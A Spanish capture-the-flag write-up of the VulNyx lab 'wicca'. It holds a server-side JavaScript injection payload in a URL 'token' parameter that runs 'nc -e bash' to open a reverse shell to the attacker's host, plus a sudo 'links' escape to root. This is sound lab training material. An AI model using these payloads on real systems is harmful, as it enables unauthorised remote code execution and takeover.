Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.37❯ nmap -sCV -p 22,80,5000 -oN 02-targeted.txt 192.168.1.37
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 00:28 -04
Nmap scan report for 192.168.1.37
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 3a:dc:d6:1d:84:b6:96:c0:8f:96:1e:65:a0:24:0e:fb (ECDSA)
|_ 256 de:93:17:fb:3a:19:9c:e0:17:32:2d:a9:73:f7:c5:94 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
5000/tcp open http Node.js (Express middleware)
|_http-title: VulNyx Lab
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.74 secondsEl servicio del puerto 5000 es una aplicación Node.js (Express) con un formulario que recibe un nombre y lo muestra en pantalla. En la URL observamos un parámetro token generado dinámicamente; al alterarlo provocamos un error que filtra la ruta del home de un usuario:
http://192.168.1.37:5000/?name=pwned&token=asdf
...
/home/aleister/
...El comportamiento sugiere que el parámetro se evalúa del lado del servidor (code injection). Comprobamos que podemos ejecutar comandos a través de él y generamos una reverse shell con revshells.com, inyectando una llamada a child_process.exec:
require('child_process').exec('nc -e bash 192.168.1.5 1234')
http://192.168.1.37:5000/?name=pwned&token=require(%27child_process%27).exec(%27nc%20-e%20/bin/bash%20192.168.1.5%201234%27)❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.37:44146.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
aleister@wicca:/$ export TERM=xterm
aleister@wicca:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'Obtenemos una shell como aleister y la primera flag.
Para escalar privilegios, revisamos los permisos sudo:
aleister@wicca:~$ sudo -l
Matching Defaults entries for aleister on wicca:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User aleister may run the following commands on wicca:
(root) NOPASSWD: /usr/bin/linksPodemos ejecutar links (un navegador web en modo texto) como root. Lo lanzamos en modo consola y, desde su menú, abusamos de la opción de shell del sistema:
aleister@wicca:~$ sudo links -no-g
ESCNavegamos por la pestaña FILE hasta OS shell, que nos devuelve una shell con privilegios de root:
root@wicca:/home/aleister#Obtenemos nuestra flag y fin.